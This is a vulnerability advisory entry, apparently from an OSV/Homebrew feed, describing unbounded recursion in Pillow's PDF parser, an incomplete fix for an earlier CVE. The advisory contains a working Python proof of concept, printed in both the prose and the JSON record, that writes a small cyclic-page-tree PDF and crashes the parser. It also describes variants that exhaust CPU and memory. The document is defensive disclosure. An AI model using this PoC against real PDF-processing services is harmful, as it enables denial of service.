BREW-AIDER-CVE-2026-112895 (GHSA-P4WG-P73J-C528)
Vulnerability from osv_homebrew – Published: 2026-10-21 09:14 – Updated: 2026-10-29 21:58 – Source websiteSummary
When an application appends to an existing PDF with Image.save(..., format="PDF", append=True), Pillow parses that file with PdfParser. Two recursive parsers have no effective bound. linearize_page_tree follows /Kids with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. read_prev_trailer rejects only an exactly repeated /Prev offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.
Details
linearize_page_tree recurses on /Kids with no cycle or depth check:
src/PIL/PdfParser.py:1078-1092
read_prev_trailer catches only a repeated offset:
src/PIL/PdfParser.py:697-720(theprocessed_offsetscheck at:714-718is the CVE-2026-42310 fix; a unique-offset chain slips past it)
PoC
from PIL import PdfParser
# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
1: b"<< /Type /Catalog /Pages 2 0 R >>",
2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
off[oid] = len(buf)
buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)
PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way
Run it:
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded
The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) /Kids tree instead produces super-linear CPU and memory work, and a long unique-offset /Prev chain triggers the trailer-side recursion.
Impact
A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising RecursionError. The fix is a visited set plus a depth limit in both parsers.
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "pillow",
"resource_purl": "pkg:pypi/pillow@12.1.1",
"upstream_fixed_in": "13.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "aider",
"purl": "pkg:brew/aider"
},
"ranges": [
{
"events": [
{
"introduced": "0.86.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pillow@12.1.1",
"name": "pillow",
"resource": "pillow",
"strategy": "registry",
"subject_version": "12.1.1"
}
]
},
"details": "### Summary\nWhen an application appends to an existing PDF with `Image.save(..., format=\"PDF\", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.\n\n### Details\n`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:\n\n- `src/PIL/PdfParser.py:1078-1092`\n\n`read_prev_trailer` catches only a repeated offset:\n\n- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)\n\n### PoC\n```python\nfrom PIL import PdfParser\n\n# A page tree whose /Pages nodes reference each other in a cycle (2 -\u003e 3 -\u003e 2).\nobjs = {\n 1: b\"\u003c\u003c /Type /Catalog /Pages 2 0 R \u003e\u003e\",\n 2: b\"\u003c\u003c /Type /Pages /Kids [3 0 R] /Count 1 \u003e\u003e\",\n 3: b\"\u003c\u003c /Type /Pages /Kids [2 0 R] /Count 1 \u003e\u003e\",\n}\nbuf = bytearray(b\"%PDF-1.4\\n\")\noff = {}\nfor oid in (1, 2, 3):\n off[oid] = len(buf)\n buf += b\"%d 0 obj\\n\" % oid + objs[oid] + b\"\\nendobj\\n\"\nxref = len(buf)\nbuf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\nbuf += b\"\".join(b\"%010d 00000 n \\n\" % off[o] for o in (1, 2, 3))\nbuf += b\"trailer\\n\u003c\u003c /Root 1 0 R /Size 4 \u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref\nopen(\"poc.pdf\", \"wb\").write(buf)\n\nPdfParser.PdfParser(\"poc.pdf\", mode=\"r+b\") # append=True parses the existing file the same way\n```\n\nRun it:\n```\n$ python 11_poc.py\nRecursionError: maximum recursion depth exceeded\n```\n\nThe 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion.\n\n### Impact\nA service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow\u0027s policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.",
"id": "BREW-aider-CVE-2026-112895",
"modified": "2026-10-29T21:58:11Z",
"published": "2026-10-21T09:14:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112895"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)",
"upstream": [
"GHSA-p4wg-p73j-c528",
"CVE-2026-112895",
"BIT-pillow-2026-112895"
]
}
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